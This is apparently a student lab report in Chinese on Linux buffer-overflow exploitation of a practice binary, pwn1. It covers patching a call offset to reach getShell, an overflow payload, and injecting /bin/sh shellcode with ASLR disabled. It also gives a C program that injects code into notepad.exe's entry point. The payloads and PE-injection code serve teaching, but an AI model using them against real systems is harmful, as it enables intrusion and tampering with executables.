一、逆向及Bof基础实践说明
1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 正确修改机器指令改变程序执行流程
- 正确构造payload进行bof攻击
1、基础知识
1)常用指令:
-
管道(|):
命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象 -
输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3)反汇编与十六进制编程器
-
反汇编指令
objdump -d <文件名>
- object dump 项目导出
- -d disassemble 反汇编
-
-
十六进制指令为
perl -e 'print "字符/字符串"' > <文件名>
- %!xxd 进入十六进制编辑模式
- %!xxd -r 切换回原模式
-
二、实验操作及具体步骤
1、直接修改机器指令,改变程序执行流程
1.1下载pwn1.zip
,在kali中解压,并复制文件pwn2
1.2反汇编文件objdump -d pwn2
- 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
call
的机器指令为E8
为跳转(直接call的机器指令为E8,间接call的机器指令为- 执行到call指令,偏移量为
d7 ff ff ff
(小端),eip的值为80484ba
,即下一条指令的地址 - eip=当前eip的值+相对偏移地址 新eip 为
80484ba + d7ffffff = 8048491
执行函数
1.3计算跳转地址并修改机器指令
改变程序执行 使执行由
<foo>
改变为<getshell>
,所以修改机器指令,使它从指向08048491
改为指向0804847d
,新偏移量 为0804847d = 80484ba + 偏移量
,计算得偏移量c3 ff ff ff
。
- vi pwn2 打开文件后为乱码
- 输入
%!xxd
进入十六进制编辑模式,根据/e8d7
快速找到需要修改的地址
- 修改地址 ,将
d7
改成c3
,然后使用:%!xxd -r
转回原来乱码格式,:wq保存退出; - 反汇编查看机器指令;
- pwn2运行结果(要将权限改为rwx才能运行)
2、通过构造输入参数,造成BOF攻击,改变程序执行流
- 当程序调用时,会形成自己的栈帧,但是
foo
函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell
,达到攻击目的。 foo
函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址- 正常时
call
调用foo
,同时在堆栈上压上返回地址值0x80484ba
-
2.1确认输入字符串哪几个字符会覆盖到返回地址
- 用
gdb pwn1
调试程序,输入有规律的字符串如1111111122222222333333334444444412345678
,发生错误产生溢出 info r
查看寄存器eip的值,发现输入的12345678被覆盖到堆栈上的返回地址
-
2.2构造输入字符串
- 把
12345678
换成getShell
的地址0x0804847d
- 由于数据按小端存储,我们的正确输入为
11111111222222223333333344444444x7dx84x04x08
- 因为我们没法通过键盘输入
x7dx84x04x08
这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
生成包括字符串的一个文件(x0a
表示回车); - 使用16进制查看指令
xxd
查看input文件的内容,确认无误后用(cat input;cat) | ./pwn1
将input
中的字符串作为可执行文件的输入。 -
因为在这个过程中修改了栈中ebp的值,所以会出现段错误的情况
3、注入Shellcode并执行
-
3.1准备工作
- 安装
execstack
-
修改设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
-
3.2构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
-
注入:(
cat input_shellcode;cat) | ./pwn1
-
打开一个终端查看执行文件进程号
ps -ef | grep pwn1
- 启用gdb调试进程,
attach 32367
与进程建立连接 - 输入指令
disassemble foo
对foo
函数进行反汇编。 - 然后设置断点,来查看注入
buf
的内存地址。指令为:break *0x080484ae
- 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令
c
继续。 - 接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据 - 发现
x4x3x2x1
果然出现在栈顶,就是返回地址的位置。shellcode
就挨着,所以地址是0xffffd29c+4=0xffffd290
-
修改代码
perl -e 'print "A" x 32;print "xa0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
- 实验完成
四、简单的windows扩展实验
- 目标:通过手动、C语言代码的方法修改一个exe文件的二进制数据,添加一个简单的4个参数均为0的MessageBox提示框
- 方法:1.手动:通过16进制编辑器WinHex,在某一个节后面空余的空间,添加call MessageBox的硬编码,并添加jump 原OEP的硬编码,更改OEP指向添加硬编码的初始位置,即可实现。
- 2.代码:(具体见源代码)
- 实验环境:在虚拟机windows2000上实现系统自带的notepad.exe的实验
- 步骤:
- 1.在WinHex中打开exe文件
- 不难发现Entry Point(OEP)为0x00006420
- 根据节表信息找到第一个节与第二个节中间空闲的位置:0x00006BCA处 可以添加这段简单的硬编码:
6A 00 6A 00 6A 00 6A 00//向栈中PUSH 0(压入4个参数0)
-
E8 91 C7 E1 76 //根据od得到MessageBox函数的地址77E23D68,所以 地址 = 77E23D68 - (ImageBase+6BD7-SizeOfHeaders+内存对齐)=76E1 C791 ImageBase:0x1000000 SizeOfHeaders:0x600 内存对齐:0x1000
-
E9 44 EE FF FF//jump到原OEP使程序正常执行 地址= 6420-(6BDC-SizeOfHeaders+内存对齐)
- 将原OEP改为75CA (6BCA-SizeOfHeaders+内存对齐)
-
2.修改完成后,将其另存为20174310srq.exe
-
双击打开exe
点击确定,跳回正确的OEP,显示出正常的记事本
3.代码实现:
-
// 简单实验.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <malloc.h> #include <string.h> #define shellcode_len 0x12 #define MessageBoxA 0x77e23d68 int flen; int flag = 1; char shellcode[] = { 0x6A,00,0x6A,00,0x6A,00,0x6A,00, 0xe8,00,00,00,00, 0xe9,00,00,00,00 }; typedef struct PE{ int e_lfanew; short NumberOfSections; short SizeOfOptionalHeader; int EntryPoint; int ImageBase ; int SectionAlignment ; int SizeOfImage; int FileAlignment; int SizeOfHeaders; }headers; typedef struct sec{ int PointerToRawData; int SizeOfRawData; int VirtualAddress; int VirtualSize; }section; headers headers_file; section sections; char* get_file(){ FILE* fp; char* p; fp = fopen("notepad.EXE","rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); p = (char*)malloc(flen); fread(p,flen,1,fp); fclose(fp); return p; } char get_char_data(char* start,int distance){ char data = *(start+distance); return data; } short get_short_data(char* start,int distance){ short data =*(short*) (start+distance); return data; } int get_int_data(char* start,int distance){ int data =*(int*) (start+distance); return data; } void getInfo(char* start){ headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.SizeOfOptionalHeader = get_short_data(start,20); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); } void addcode(int i,char* start_image){ if(flag == 0) return; else{ if(sections.SizeOfRawData-sections.VirtualSize<shellcode_len){ return; } else{ int point = (int)start_image; flag--; memcpy(start_image+sections.VirtualAddress+sections.VirtualSize,shellcode,shellcode_len); printf("%x ",sections.VirtualAddress+sections.VirtualSize); int E8 = (MessageBoxA-(headers_file.ImageBase+sections.VirtualAddress+sections.VirtualSize+0xd)); printf("%x",E8); *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+9) = E8; int E9 = (headers_file.EntryPoint-(sections.VirtualAddress+sections.VirtualSize+0x12)); printf("%x ",headers_file.EntryPoint); printf("%x",E9); *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+0xe) = E9; *(int*)(start_image+40+headers_file.e_lfanew) = sections.VirtualAddress+sections.VirtualSize; printf("加码成功"); } } } char* memcopy_image(char* start_file){ char* start_image; start_image = (char*)malloc(headers_file.SizeOfImage); memset(start_image,0,headers_file.SizeOfImage); memcpy(start_image,start_file,headers_file.SizeOfHeaders); int i; char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData); addcode(i,start_image); start_section = start_section+40; } return start_image; } char* memcopy_file(char* start_image){ char* start_file; start_file = (char*)malloc(flen); memset(start_file,0,flen); memcpy(start_file,start_image,headers_file.SizeOfHeaders); int i; char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData); start_section = start_section+40; } return start_file; } void copy_file(char* start_file){ FILE* fp = fopen("20174310srq.exe","wb"); fwrite(start_file,flen,1,fp); fclose(fp); } int main(int argc, char* argv[]) { char* start = get_file(); getInfo(start); char* start_image = memcopy_image(start); free(start); char* start_file = memcopy_file(start_image); copy_file(start_file); free(start_file); free(start_image); return 0; }
五、实践总结
- (一)实验收获
- 这次实验让我收获很多,因为平时都是在windows系统上做一些逆向的学习,这次实验让我第一次接触到了linux逆向的一些知识,让我收获颇丰。
- (二)什么是漏洞?漏洞有什么危害?
- 我认为漏洞是计算机和网络中可以用来进行攻击的各种弱点和缺陷。
- 漏洞可能导致系统异常或崩溃、信息泄露、网页篡改等,危害个人或组织的财产、隐私、甚至是国家机密,危害人身安全和社会正常运转,影响经济社会发展。